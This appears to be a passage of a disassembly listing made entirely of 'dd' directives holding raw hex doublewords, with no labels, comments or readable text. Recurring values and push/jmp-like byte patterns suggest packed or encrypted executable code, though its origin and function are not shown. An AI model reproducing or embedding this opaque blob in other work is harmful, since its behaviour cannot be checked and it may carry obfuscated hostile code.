		dd 0FC282DDCh, 87103A82h, 43E93BBh, 0DD0918BCh,	5162BA62h
		dd 0A13F2F82h, 3E96CEB0h, 0D4621h, 25DFF500h, 3BC111EDh
		dd 1610A7C7h, 35CF04ECh, 0F35A1DDh, 23315103h, 856999ABh
		dd 2549B94Bh, 88689AA8h, 785FB34Dh, 7981A044h, 7CDAC25Ch
		dd 0FE07D278h, 0B71B5A9Ch, 0CA5D28A8h, 0D224B001h, 0FDC31014h
		dd 29CB7161h, 0E93A698Dh, 3E93CA5Dh, 9E7A0295h,	0E8CFD602h
		dd 9B28CA5Dh, 0E9B2B115h, 0B60BCA5Dh, 724AFD1h,	5DE8C4DBh
		dd 3F941DCAh, 73D99C5h,	3FC511EDh, 0F6F5F0C5h, 0A8434259h
		dd 62707D58h, 1519E9DAh, 0E9564D79h, 22AFCA5Dh,	0BEC19075h
		dd 0B7930595h, 3521E31Dh, 0C38C689Ah, 26F88710h, 0F4000000h
		dd 7726AE12h, 0F078BAE5h, 0DA6F7682h, 0FBC8CA5Dh, 736B8Ch
		dd 0B1CD0000h, 0EDDB2025h, 7F282512h, 7017B054h, 5F6E12ACh
		dd 1861FE5h, 0FAD7D4FFh, 249AC92Dh, 0DEF3CA5Eh,	7EE2DEF5h
		dd 17E5B252h, 775B903Bh, 0CA5E2468h, 21E3F0C1h,	75C5249Fh
		dd 5344FED9h, 0E985AA25h, 17B054EEh, 5E23D2D1h,	0DA962BCAh
		dd 848E45FFh, 1009A0BCh, 8EAB1954h, 0EB09BAA3h,	76423562h
		dd 66000000h, 7739F30Ah, 5DF5544Bh, 7324ADCAh, 4AAE12A1h
		dd 0CA5E241Bh, 48385F74h, 6D74608Dh, 0C6CA5E24h, 0BE152FAAh
		dd 7B43EF15h, 4BD9544Ch, 0EC841377h, 0CA5D3BF2h, 0B83CC60Fh
		dd 3BE9F8DCh, 7142CA5Dh, 0B73DC70Fh, 0EE5B7E05h, 0B9EABA86h
		dd 0FA4A6473h, 3E67F08h, 82BC1733h, 57E8E315h, 0AA91FE4h
		dd 1FA1323Bh, 9272AC3Bh, 7C44CEB9h, 0B5199634h,	2275AD55h
		dd 93C212F2h, 0D9D38E0Dh, 0AB265245h, 9F331799h, 81069F65h
		dd 5257E103h, 0B687666Eh, 91BDBA4Ah, 5E083E65h,	0B90A97CAh
		dd 4406F2CEh, 0D3D25F9Eh, 319EC2FEh, 0A145F113h, 0C25C7182h
		dd 8AFDC6DBh, 646E12AEh, 0EC9B7E0h, 17BC35A1h, 953E07EDh
		dd 0C3EDD66Fh, 7582E8FBh, 0B5E23B42h, 8D495955h, 41907638h
		dd 0B8136532h, 85642087h, 6172EFF2h, 2F93F7A3h,	0C25C7430h
		dd 3B4F3889h, 7389499Dh, 0D3FC6060h, 0FBE7D331h, 0C25C73E4h
		dd 385F743Dh, 879C2488h, 1982D6F4h, 9ABD3364h, 9CA5DF5h
		dd 91689CB9h, 5A803E65h, 0BA0A97BAh, 63348A2Ah,	9D8D4B57h
		dd 42638266h, 0E7BCBA5Ah, 0BD0A40DDh, 3C15EF15h, 18743C87h
		dd 5B13B5ACh, 67720EBAh, 458E17DDh, 264A6652h, 0D25B99ABh
		dd 9318B3C5h, 0F5BB083Ah, 13362D99h, 834DBA5Bh,	8AA8381h
		dd 3E3F09BBh, 83825DA8h, 0EABA7614h, 3632E787h,	39475007h
		dd 0A038659Eh, 0AE162CA5h, 0C01320E1h, 0D2725C00h, 96EE9932h
		dd 0C3E206AAh, 1CBA5A25h, 300A0087h, 0C143FDD8h, 79D5DBE8h
		dd 44F4A359h, 81A04468h, 0D8BA5A26h, 5A25F5ECh,	3D854EBAh
		dd 70C66074h, 0D7E3477Dh, 4AA48B0h, 0BBDFC255h,	60CD0817h
		dd 88B21FB2h, 0D2DFE36Ch, 7859F5C5h, 5A6942C2h,	0B2B19D47h
		dd 0FBD838D6h, 0A3Fh, 0B45EE6EEh, 14FE06CCh, 0AF63DDECh
		dd 0AF802CFh, 0A65CE8E6h, 705EF620h, 96423ED4h,	735CA46Eh
		dd 923D41D1h, 9B7A270h,	5C75C6DDh, 35451FC2h, 8E636E12h
		dd 6942C242h, 7372565Ah, 0CCCA5E24h, 657090F7h,	5E79D5DBh
		dd 9797F3A4h, 9FE81AB3h, 5F797661h, 5B735FA5h, 51824BA9h
		dd 0B1223E82h, 5480FC8Bh, 1110B479h, 6ACA5E24h,	2A466A59h
		dd 0D55E96AEh, 0B11E3AC2h, 586B9540h, 0ED17C09Ch, 3BB94B83h
		dd 0CBAE2E73h, 389F13B3h, 8A212EADh, 0B520E0FBh, 5C67A138h
		dd 958C3854h, 0ACCA5D8Dh, 48E1231Dh, 0BC17596Ah, 0B9751582h
		dd 0A75D79D5h, 6D74844Dh, 0C6CA5D8Dh, 0EA7B8AFDh, 0BE059512h
		dd 871034A2h, 0B4F8h, 0FEDCF400h, 0AB182CAAh, 7978BD05h
		dd 8C689A35h, 0C15F11C3h, 0D6CDF9B7h, 2FCA5DD3h, 6743F5A2h
		dd 8DE3C857h, 139D482Dh, 5DECB0AFh, 0CFB809CAh,	583B4929h
		dd 5DB202D2h, 0E1937863h, 0FFD46E19h, 0FB04F1C1h, 27A3D79Dh
		dd 0D3FC6060h, 7B736032h, 8B3876ACh, 72884925h,	44CEB992h
		dd 63FBABB4h, 0FA0BC6C2h, 89A7D01Ch, 0DFAAAE2Dh, 33A0E8DCh
		dd 6B337D46h, 0BA48309Bh, 9BF7A01Eh, 0D4CBF793h, 2DC263A8h
		dd 0C805F3A4h, 6620593Bh, 0BAB649F4h, 15EFE418h, 42618529h
		dd 9BC263BCh, 3E0CD907h, 774C273Ah, 8CDEF10h, 2D510000h
		dd 79834FA0h, 7621AA4Ah, 4AAE12A6h, 0CA5E241Bh,	0FE7A7B86h
		dd 0D6DC154Ah, 0E0FFE3CDh, 39CA5D25h, 4DEB1F68h, 405C644Ch
		dd 72780F47h, 0A1FDBBCCh, 24CAD9FDh, 8E23CA5Dh,	27DD6F09h
		dd 0F65AD257h, 0FFC82CD8h, 0CA8FE9D5h, 4C3BBB51h, 0FF5B656Eh
		dd 9B692EE8h, 9714BFh, 6E65EE06h, 0A1A32E52h, 64728EF6h
		dd 9D3824E0h, 6808A163h, 0AF33D16Bh, 3E9CB930h,	0F113BEA2h
		dd 904D3A13h, 1125B359h, 62F6BEE5h, 0E68A17C2h,	0E975DD7h
		dd 0BB9FFBC5h, 0D0A8EF11h, 0CA5CF93Eh, 0EEF5E1BDh, 45BA68F3h
		dd 68F482A1h, 0ECC6DBBAh, 0A8C4ECD7h, 0C86112Bh, 738D4824h
		dd 0BBCFB891h, 0F40EC91Dh, 6E7DE1DFh, 107750B4h, 0CD448C30h
		dd 0B246CC51h, 7E864C34h, 0B6AD5F19h, 862AC262h, 6EB24362h
		dd 1BB49CB2h, 91420BE9h, 49673C06h, 5D97AD25h, 1D39C3D4h
		dd 4D5480B1h, 0A6B26EB2h, 0BA0AA61Dh, 0B7F1DAE6h, 0BC484FDDh
		dd 0E80C34A0h, 0C341C30Ch, 0BC4886EAh, 0E9007938h, 0ACD06C6Ch
		dd 0EE772020h, 0A32F4BEBh, 3E1CEE99h, 6A8B573Eh, 0AB183E6Eh
		dd 0D2686905h, 0F397F3C5h, 6E8DD0CFh, 884529B2h, 22B17A7Ah
		dd 9051FB75h, 0B0D0BA68h, 9A71C24h, 4D886965h, 4B7851B3h
		dd 1B7720A9h, 66A03713h, 0A6D2C58Eh, 0FD08C62Bh, 739EA00Dh
		dd 0C50EC52Ch, 2C339FFBh, 85AA7426h, 5B14B3Ch, 26263DA9h
		dd 327FAA74h, 73B81365h, 7426504Fh, 0EC19A9AAh,	286356Fh
		dd 44531DA6h, 32A12ACAh, 5FE5F28Eh, 7AD6DA38h, 0FF3A458h
		dd 5FE5ED49h, 0F9B70CA5h, 706DEA9h, 0C8CF9A6Bh,	21B894F8h
		dd 53440DE7h, 6E72539Dh, 4AAE12B2h, 0A27A441Bh,	4C745F74h
		dd 445D8470h, 0EDB6A27Ah, 736EE29Ah, 92A27A44h,	1743C17Bh
		dd 0BE8084BEh, 4FA7A447h, 0EFFC0B6Fh, 1D6A59E3h, 0F766A940h
		dd 8227661h, 0A3h, 798B4428h, 0C2120E0Eh, 84D853DDh, 453D4AB5h
		dd 664A6673h, 5D7D6382h, 0C9E7BCCAh, 5D7D061Dh,	45525FCAh
		dd 0B2814F73h, 1A76D257h, 6348B7AEh, 0D4C310C2h, 0B3498AE6h
		dd 8C387851h, 0C2634895h, 16EEE5EEh, 59329A2Ah,	6D667D69h
		dd 0F2BFC263h, 8F6CD5E2h, 0CC6D7008h, 428CC263h, 725642C2h
		dd 0C263CC73h, 5979F7CCh, 11CC61A3h, 9D797DDAh,	0CBCED501h
		dd 4727C263h, 0B790748Eh, 7E27B0Ch, 706F5337h, 0C9C263CCh
		dd 0EF7E8FF8h, 0C1026FDDh, 28988FF1h, 99FE66D8h, 1E2E6h
		dd 97264A00h, 0D22AEA9Dh, 0EBB3FD07h, 0EFB12C04h, 48007D4h
		dd 659F3418h, 7F81069Fh, 372E9A57h, 90CA5D4Ch, 4C309043h
		dd 0AA838183h, 2B731FDDh, 92E95FBCh, 2B4D3AC2h,	73279FA0h
		dd 0DBFD0C5Ch, 0C6B4CBE7h, 0E4EFE4D9h, 0AB5580DCh, 0D87420DCh
		dd 775043FAh, 0FE100E4Dh, 76972FD5h, 6C7DBB2Eh,	2B4D3A89h
		dd 38678BA0h, 91CA5D56h, 512D9340h, 7D0D7A80h, 140E9DC1h
		dd 0C83057F0h, 0CA5D5B80h, 2241A509h, 7BCA5D51h, 0B41F6126h
		dd 0A2629C37h, 0A1C0360Ah, 0E7DCE5A4h, 3A8A26DCh, 0AAB195A6h
		dd 10BEC2FAh, 7A55A3F4h, 23A19C9h, 675C3BE2h, 98AA2549h
		dd 38C4D35Ch, 5C3E545Ch, 8878381Dh, 0B9A5BC28h,	0B5FECA5Dh
		dd 111AA0E2h, 43AF0BAFh, 0CA5DB91Ch, 8C689A33h,	0E5B2FFC3h
		dd 57CA3D0Bh, 8D1C44D2h, 0DC804093h, 1EA74DF7h,	39151979h
		dd 4D356298h, 58876B8Bh, 6FC263A8h, 0CFE4DE58h,	0F4E0BC04h
		dd 0C263A7EDh, 2E0A7D46h, 0A8494292h, 0C10BC344h, 0CA4022D6h
		dd 411DCA60h, 0DC826B90h, 0DE76CA2Fh, 0B98A2F5h, 0FBB31DA5h
		dd 0DDB05F04h, 22B20EAAh, 0AD0A90CFh, 90701717h, 0DD676B46h
		dd 41A19CE7h, 0DEF526FDh, 0E2F08C34h, 0B7129A5Ah, 8E5612D4h
		dd 847423B0h, 816E674Ah, 0E024AF55h, 35257C47h,	0A0CEAD35h
		dd 4C51340h, 5C740000h,	40926EA4h, 932A46BCh, 4C856999h
		dd 0AA244CB6h, 0B4DE689Ah, 40E36A0h, 0E230D0FCh, 0FF13319Eh
		dd 0D82AD4FFh, 0F827CBF1h, 51C25C6Fh, 6E125F33h, 0C9B7E064h
		dd 635FF80Dh, 0ED412BE6h, 5976DAD6h, 522EDCABh,	96AE2A87h
		dd 3BFFD55Eh, 4CB1B0DDh, 0ECB4FCC7h, 40A4BFF5h,	96427E46h
		dd 0CA5E0C8Fh, 5EACDBE8h, 34D1FE62h, 51BB349Ch,	8E665D58h
		dd 12C2D2C5h, 16792FC2h, 5D47B3B2h, 0DB70CCAh, 11765406h
		dd 0CE075FF9h, 0A74DF7E1h, 0A21EB51Eh, 7E3F2312h, 2C5BF1C9h
		dd 448C308Ch, 76CE6DCFh, 6180689Fh, 0BACA5D71h,	0FCDA9EE9h
		dd 0F1D257A5h, 3AFA29CDh, 7E53C263h, 61852919h,	0C2633B42h
		dd 37BD069Bh, 93B7535Bh, 22C1C494h, 60E0FB75h, 9985C263h
		dd 9EE91BB5h, 70E124C7h, 44026F46h, 0B5449128h,	0C03F487Bh
		dd 1C1h, 0B1537CE0h, 70D7A53h, 29AA07D2h, 23CDD400h, 9D26CA5Eh
		dd 7B05CE26h, 9917AC56h, 0DE71DB5h, 0DA95344h, 0EC50EBC5h
		dd 583F7791h, 8E43AE28h, 51615F74h, 1C2FAB56h, 9D673083h
		dd 0D3715D01h, 511C2CC4h, 0C9A5CA5Dh, 35FEF60Ch, 8ABB1662h
		dd 0B163BFF8h, 5A566DEBh, 5F28DCF6h, 586F0BB3h,	9C3A26DEh
		dd 10C38C68h, 515E7987h, 9FA52DBAh, 79F7CC65h, 0C861A359h
		dd 0EDD9B5FBh, 0CA5E13F6h, 6715824Fh, 0C96603CBh, 1BC35EE3h
		dd 4C78502Ch, 9DEAAFFCh, 56C7D365h, 0A4BB2713h,	0FDCA5DF5h
		dd 320F20B4h, 7261DBF2h, 973B5F61h, 0CA5DA188h,	0F9C7D0E1h
		dd 57B1FFCDh, 3ABC04D2h, 0C80749FBh, 99AA8EFh, 0F40EC3A7h
		dd 2347E7A3h, 0D77094AEh, 0E800DAB0h, 3DB74984h, 8A5D8474h
		dd 0EDB6C263h, 5D76DAD6h, 0BCE0E0A7h, 0F60E36A0h, 7DC62A5Dh
		dd 18CA60C7h, 0D7D37088h, 774D4789h, 0BEED9568h, 19296EC1h
		dd 45525175h, 0C3ABBA66h, 0F6CDF608h, 0C3896BAh, 88385FE8h
		dd 758F4824h, 585AB78Fh, 5AF7A65Fh, 31CB0769h, 6B8DFAD3h
		dd 0C0448E63h, 58586B44h, 4C919034h, 0D9EABA66h, 43E97h
		dd 0EB26027h, 894886C6h, 944014D8h, 973BBCDCh, 4F4A36Fh
		dd 54EEE7CAh, 0F5AC17B0h, 0CEAC73FBh, 705D7ADAh, 1F000002h
		dd 737B87B1h, 916DA55Fh, 2E52C07Ah, 8B739FA5h, 8351C143h
		dd 5FE5F163h, 0FF01CBB3h, 60E2EB13h, 103CEB2h, 4E7A4611h
		dd 0C25C6E57h, 0D2C6D6B0h, 2220AD04h, 27DDF6E2h, 4CF04CDh
		dd 6A8E320Eh, 0CA5E243Bh, 28583F94h, 6FA940ADh,	0D2005C64h
		dd 21AECA2Ah, 2BE7B023h, 636E125Fh, 0FCAB6E1h, 23EFF6E2h
		dd 7B48CA5Eh, 6C10AC48h, 8922E262h, 0DAD702FEh,	25AD47FDh
		dd 95E509A4h, 557E5527h, 399D01BDh, 0CA5D592Ah,	594E5581h
		dd 1AA7CA5Dh, 867C0B98h, 0CC59A8B4h, 0F6538080h, 1AA9637Ah
		dd 0D7CEFA96h, 30CA5DDEh, 467D8750h, 931B7F41h,	1BB39F56h
		dd 0A8503791h, 0D25F6F69h, 0AD577CE0h, 29197E47h, 127DB645h
		dd 4AE2A381h, 764FB51Eh, 0E4978E3Ah, 0E3F0C25Ch, 23ACD0F0h
		dd 8B37E321h, 0C25CE494h, 0A8EFE4EDh, 0B61C40DCh, 966E903Bh
		dd 65EE06BDh, 688CB61Bh, 0DC8B8DFh, 0E3EDF4E0h,	7D46C25Ch
		dd 0ACF4BC46h, 0C00566D6h, 29574011h, 0E25795AEh, 5638A3B8h
		dd 9E27CD47h, 92229E35h, 83254FCAh, 28D4C391h, 5CE4F08Ch
		dd 0F0880F98h, 0DFDED735h, 0FEF60EC4h, 0A74DF7E2h, 1D3AB128h
		dd 903D21BDh, 0A1382572h, 0D1CC11A1h, 5FF05D1h,	3FD5982Ch
		dd 418C6C1Bh, 46184FC0h, 0B2800A7Dh, 0CEF52914h, 33CAA61Dh
		dd 8AE6CAF9h, 0B0E5B449h, 0D0225204h, 88280103h, 0DA97455Ch
		dd 82159EA4h, 60842808h, 0A4DA9741h, 4FDD20ACh,	3A7830A4h
		dd 0F7E21E69h, 9C27DDFAh, 669E3814h, 2AD2C58Eh,	4CA2328Eh
		dd 91D87B0h, 51687781h,	577FA4DAh, 0CBBC05ADh, 741F24ADh
		dd 0D32AA956h, 0C3C38252h, 0BE9EAC3Eh, 2323AB15h, 0ACA26068h
		dd 0A9D52F58h, 3EF152Fh, 0CCBD37C9h, 703622B9h,	0C62F9378h
		dd 0FCA0388Bh, 29CB7560h, 0F56ABCA1h, 6E65B7C5h, 9D9D3C29h
		dd 98CED501h, 4727A4DAh, 395E758Fh, 2738C47h, 76B29FB9h
		dd 0AA30DEE6h, 88150C03h, 0AD19753Bh, 0A4DA58B6h, 0C3FF05CDh
		dd 45E9A9EEh, 537FA829h, 0A4DA584Ch, 4DA71CA5h,	89983C84h
		dd 0E2A4DA58h, 1FBAC6D1h, 38BC4092h, 545C646Fh,	0B216FC4Bh
		dd 0A4DA31B3h, 2F0DB70Ch, 0F0E19F45h, 92BF3D4Ah, 17h, 0C87C5AF6h
		dd 0B91DA32Ch, 0A4DA2CAAh, 0B3E9AE03h, 0E0646E12h, 0D2622AB7h
		dd 0DEFAFA02h, 0C7B351F3h, 0E410F40Eh, 0C09C58E8h, 0EA16EE16h
		dd 0C09C58ECh, 0EF0BE913h, 0BAA65ED8h, 7220E418h, 708468h
		dd 24348900h, 132368h, 243C8900h, 46C168h, 24348900h, 1970C68h
		dd 243C8B08h, 5404C483h, 8124348Bh, 4C4h, 55536800h, 3C890000h
		dd 8468F24h, 5E2434FFh,	0FF04C483h, 835F2434h, 49E904C4h
		dd 6DFFF8C5h, 9FDB4FFDh, 0B8060AA8h, 801B948h, 0E0FFC503h
		dd 341D7053h, 12CDEAB8h, 45760564h, 61A0BD58h, 4EA3978h
		dd 2EE6F958h, 355B6D2Ch, 19A6D0EDh, 37931D1h, 5DB2222Eh
		dd 1FE16C6Fh, 1010F1D7h, 3873866h, 155E13B8h, 65B3E081h
		dd 7BD504Ch, 137565F8h,	21482F0Eh, 5014A605h, 6F6FEAC2h
		dd 5DB152Ah, 0BAE68D8Dh, 6A0801h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 188453C3h, 98736201h
		dd 17419589h, 852B07FAh, 7FA33B5h, 27C18D89h, 6A07FAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0F8523FC3h, 0F7460024h, 9589BA3Bh, 7FA269Dh,	6870Fh
		dd 0B58B0000h, 7FA0925h, 1C0185C7h, 660807FAh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 8AB97BC3h, 0C7FE8B66h, 0FA1AED85h, 7, 0AD8D8900h, 0FF07FA2Dh
		dd 0FA11F9B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 245FF62Ch, 0CCBB3A49h
		dd 958B57A4h, 7FA2C11h,	177D95FFh, 816607FAh, 6A3123E0h
		dd 2D95FF00h, 8B07FA01h, 646AEBC0h, 4A583615h, 0FA750DCEh
		dd 6104DCE5h, 0AA9417F3h, 0CBE14A8Dh, 78FB3F67h, 0BF3652E5h
		dd 3ECA620Eh, 8EA04EF4h, 0E2990F33h, 0FAE14BAAh, 0FAC78DA9h
		dd 3444985Fh, 0C89CBADAh, 0E634F08Dh, 48EE7AFDh, 98AD656Ch
		dd 1E71B3E2h, 0CF97A26h, 0A315FA9h, 69E82CE5h, 5E36F3CAh
		dd 0DE16E434h, 0D723602Ah, 0C672107Ah, 0A8968800h, 0FE84Bh
		dd 0F9980000h, 9314D0D2h, 15A7F9B7h, 66F5D617h,	5BC78B2Eh
		dd 68C0Fh, 85890000h, 7FA0969h,	5BE7C381h, 8C0F0000h, 6
		dd 346D9589h, 0D23307FAh, 11E8h, 0EDE2DA00h, 0A2A05237h
		dd 0B2E4A0C4h, 0F88D40D9h, 0BE66B4E9h, 0FF58678Eh, 59FC1A34h
		dd 9E36F181h, 8E81F4Ch,	5000000h, 707A3705h, 8BFCFCE9h
		dd 0FA1149BDh, 0E9815F07h, 699D3C8h, 0EE9h, 604D4000h
		dd 0ECD80FECh, 607D6EA7h, 8180F33Ch, 0B40697E9h, 0F1B58900h
		dd 5107FA24h, 48FF08Bh,	0E1858B13h, 0F807FA33h,	0F03EA83h
		dd 68Eh, 0F5858B00h, 4A07FA12h,	240DBD2Bh, 0FA8107FAh
		dd 0FFFFA50Ch, 1F850Fh,	0FE90000h, 0E8000000h, 0C3DBE3E7h
		dd 0C9C66D62h, 20D09E75h, 1EE9A06Eh, 0A5000000h, 0A360AAC9h
		dd 158D8985h, 0E907FA0Ah, 0FFFFFF63h, 0C7B7215Bh, 89D86204h
		dd 329FE5CFh, 189E904h,	0F54C0000h, 2C274343h, 98D31AD5h
		dd 0D1D746B1h, 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h
		dd 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh
		dd 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh,	0FFB2A4E5h
		dd 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h
		dd 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 2 dup(0)
		dd 0E9000000h, 21AAh, 1C16D68h,	1F03E908h, 0AE68FFFAh
		dd 0E90801C3h, 0FFFA1EF9h, 1C75968h, 1EEFE908h,	0E868FFFAh
		dd 0E90801C8h, 0FFFA1EE5h, 1CBD568h, 1EDBE908h,	0C668FFFAh
		dd 0E90801CDh, 0FFFA1ED1h, 1CF6268h, 1EC7E908h,	7868FFFAh
		dd 0E90801D0h, 0FFFA1EBDh, 1D2BA68h, 1EB3E908h,	0B068FFFAh
		dd 0E90801D3h, 0FFFA1EA9h, 1D53168h, 1E9FE908h,	0A468FFFAh
		dd 0E90801D6h, 0FFFA1E95h, 1D7DF68h, 1E8BE908h,	9368FFFAh
		dd 0E90801DAh, 0FFFA1E81h, 1DCDE68h, 1E77E908h,	0FCC4FFFAh
		dd 7A44B463h, 0F4C232E1h, 7F4CBC5Bh, 0F6C537E6h, 92FBE5Dh
		dd 0A231CAB9h, 21B04932h, 0AC2BC4AFh, 18B7503Ch, 0FBBCC4BFh
		dd 591988D5h, 0B1EAD5CEh, 74D0D729h, 0F5D0CC83h, 0CD7B09F7h
		dd 1DBB5930h, 0A60E1C94h, 0CBF2B3BDh, 0E8502189h, 0C9B37F61h
		dd 89CBFEC7h, 2BF45C21h, 89CCE4A5h, 129A4221h, 1BCD6649h
		dd 38A88B3h, 5A451E4Ch,	2F8F3CD9h, 6B7D144Ah, 9F1D069Fh
		dd 0DAA838D1h, 10B72341h, 0AA9606C1h, 871311h, 54DA6A8h
		dd 1A35BD5Ah, 0C251B56Dh, 96EDE935h, 119911AAh,	0D16A5448h
		dd 0AA22613Ah, 0BC2846DFh, 0B649C715h, 0CA35266Fh, 241CF4ACh
		dd 0DF1EB595h, 44DB9C24h, 8F391990h, 0CF613E17h, 381B9B50h
		dd 805909C0h, 23AA430Ch, 9031F0B5h, 0E0794519h,	0CC6552C2h
		dd 0BA7B05DEh, 18199032h, 1E8BD6B0h, 900C4712h,	931F0DA6h
		dd 0A73871FCh, 19A003ECh, 574D096h, 90199059h, 0EA05F019h
		dd 59D7DA87h, 98DB72DAh, 34D6EE8h, 0EDDAE5CAh, 0B8AE1998h
		dd 0A4F411h, 0A11B0000h, 0A963DD6h, 720BF7F5h, 0E23FD1DBh
		dd 65F3319h, 0CD55DC4h,	5009A290h, 8A208750h, 0D47BE521h
		dd 0C5CB88CBh, 218A2004h, 0A16AFA62h, 81538108h, 6526702Dh
		dd 9E578A7Ah, 0DD746171h, 0F1EBB41Ch, 85E56C05h, 4AE3D0CCh
		dd 0C719DB5Ch, 6063574Dh, 0CE9341C8h, 23199062h, 3BAFBD56h
		dd 0D4AAB851h, 19042C95h, 29B6656h, 94D178E4h, 4938B42Bh
		dd 0A32AB2B0h, 4DBA20D0h, 4F511203h, 19905686h,	5645068Ah
		dd 39A31990h, 8E7B12BAh, 19Ch, 0E1812A95h, 1EE4A52Bh, 9A421990h
		dd 0B31E241Dh, 0AF5801Ch, 1CA5F9A3h, 0A444CB48h, 66563FD8h
		dd 1757FE97h, 7A0553Ah,	2A38D19Fh, 13BC35C2h, 0D5A444CBh
		dd 0F24E5EBh, 8371218Ah, 170FCEAh, 0A906CF57h, 3F0D3EDAh
		dd 774A19A6h, 0C3A0CE85h, 0E06700C9h, 8D9B3400h, 0ADC0EBD4h
		dd 1465A1C6h, 0FE9F6B7Dh, 0FF6B7912h, 0A651AE67h, 2D0B24EBh
		dd 0EDA637DEh, 0FB2B3D02h, 2EE5E936h, 8A8337B2h, 5C641F21h
		dd 218A839Bh, 28B84FF9h, 37D0BB5Ch, 756720AFh, 73FFED86h
		dd 0A7400CDCh, 0D2F311EEh, 0CFDD7644h, 0E395D663h, 805909C0h
		dd 88A63F0Ch, 24BD8C1Ch, 0A511436Dh, 0F1AA42DBh, 9DE14DB2h
		dd 8F4FD0E1h, 4EF2DCF8h, 86F62670h, 86771EB7h, 7D03EDD6h
		dd 19903BBCh, 0B23AB21Ah, 7009F3E9h, 0BE50F8D9h, 3BBE8709h
		dd 0B41C1990h, 0E25D633Ch, 0CA1E7D51h, 0EE4BE4D2h, 0B331645Fh
		dd 34C54CA4h, 0DD76413Bh, 93777841h, 66ED611h, 3AD39F1Dh
		dd 8E09C02Ch, 55EED7D5h, 755F2EBEh, 9377AA6Bh, 596C0A11h
		dd 767FE3DCh, 46D55D07h, 7A46E7D6h, 0DA7341E1h,	0B5638F52h
		dd 2E401CCBh, 1D704Eh, 50E9D100h, 0CC654FC1h, 54EDDB4Dh
		dd 0CD6653C5h, 56EFDE4Eh, 0A22036C7h, 299B3AD3h, 0D848C760h
		dd 53C554EDh, 0F44FCE67h, 0D3E8B12Fh, 7D461988h, 0BF7F513h
		dd 61E87472h, 9122B07Fh, 2D62675Bh, 41FA9911h, 2DE47D4Bh
		dd 0DBE5CFBBh, 218A661Ah, 7F58D078h, 0BDAB440Dh, 813F9E35h
		dd 720BF7F5h, 4761E874h, 0F87861C5h, 2670A11Eh,	13129D02h
		dd 4ADE77D0h, 0B48232C3h, 0C5F13B26h, 41A9DDFEh, 2D3BD4A1h
		dd 78742DC5h, 8A73F38Ch, 0E067F3F1h, 0E5D3C982h, 0AB475FBh
		dd 0AA121990h, 884D8B42h, 0DD19900Ah, 0D74B59F2h, 0BB7C04EEh
		dd 1919900Ah, 0CC2937AFh, 31C4FB00h, 0A7A278CCh, 0CA632EFAh
		dd 0FDD850DCh, 39725D42h, 719E10F0h, 0CD128FDAh, 0C34AE3CFh
		dd 4DABC0B0h, 1CD6003h,	43F0000h, 9065BB7Ch, 0A33C0819h
		dd 369E1D85h, 0F7F5019Fh, 0EB77750Eh, 0CEB88464h, 8A9409D2h
		dd 6DFD6721h, 0B56E069Fh, 0E6DCE24Ah, 35DCA499h, 0A5175C35h
		dd 0CE9743DCh, 2C2189EAh, 0ECDB0DC4h, 7FE7804Bh, 4A34A861h
		dd 0A027B3B1h, 89E5C134h, 0E6EAA921h, 2189E525h, 0EE8772h
		dd 6A530574h, 32B259D1h, 43DCA546h, 6C35BD25h, 0E5E0A927h
		dd 8E3E2189h, 0AC129C2h, 0B19C10CBh, 836F7118h,	0E54E1799h
		dd 0AF9B2189h, 0B53DA716h, 6A03F0ECh, 0D6C683E3h, 0F2BA51EAh
		dd 0AD1FF860h, 0D25A48E1h, 0DFCD6652h, 0A0E3BC53h, 58C8612Ch
		dd 4CD8D66Fh, 0DB2517C5h, 0B329266Fh, 59982FC8h, 0C759229Eh
		dd 0DB7198Fh, 3447D8B0h, 178FB7FAh, 0E1824E3Eh,	66E7C15h
		dd 3DF6E76Eh, 0E9D3743Fh, 62CA5250h, 7E48D844h,	0D4862EE5h
		dd 4D39B36Ch, 0C1821DB4h, 0B7BAB9DEh, 3BD257C1h, 7D7C0F9Dh
		dd 58581B1Eh, 11932C8Fh, 2DCC83EDh, 3699DAC3h, 211F0B81h
		dd 0D90BC21Fh, 0E47D49EAh, 0C2830DC6h, 20119372h, 696730B8h
		dd 119372A0h, 5DE56FEh,	7279423Eh, 0F37D1193h, 11937232h
		dd 1FC92890h, 72713A36h, 25CF1193h, 4BB46F6Eh, 5EE0E7E6h
		dd 9A630362h, 0D077E301h, 0B1802110h, 0AFCD9018h, 781CCAC8h
		dd 1B2F06E6h, 0A8900000h, 2610800Fh, 0B09E0E8Dh, 3B087817h
		dd 0B281F3A2h, 0CDEB7A19h, 0E6750EFDh, 65F48D76h, 0E06F08F3h
		dd 6CEB8470h, 0C7901013h, 251988D1h, 0AEF5F69Ah, 8A946932h
		dd 761DC721h, 35EE8776h, 9930C9B7h, 0BCC47F38h,	218A93FBh
		dd 0C4E27B48h, 0D86FD958h, 0AE9B3C08h, 45FE9D15h, 28C18EFEh
		dd 6526B23Ah, 0C3218A94h, 0F5267219h, 9ACCAE0Ah, 8940819Dh
		dd 0FF816B57h, 218A2E36h, 0DBC42C94h, 0E6EC2EF4h, 78E3FE7h
		dd 0E7E9AA67h, 2189971Eh, 0AB3DD47Ch, 0B64F3EDFh, 15C42CB8h
		dd 0AC34E96Bh, 218997EBh, 4E079F49h, 0C9D7705Eh, 0B2F1AA61h
		dd 175654Dh, 8A0CB67Fh,	4FAC1421h, 58C1E37h, 706B65D7h
		dd 0A62A6926h, 199025E5h, 3F29943h, 65CD6651h, 9831007Ch
		dd 249871F1h, 2FA3C15Ah, 35BDAB44h, 0C55E2DBDh,	2505D20Eh
		dd 6D5A1990h, 7A46D6D4h, 1E09C3E1h, 23BC87A1h, 4A159D05h
		dd 0BA49309h, 1FC0E984h, 2846DFADh, 0B66215BCh,	0EE034DE7h
		dd 14Bh, 937E6E35h, 0D480ECFAh,	19903113h, 5440C771h, 6708F7F5h
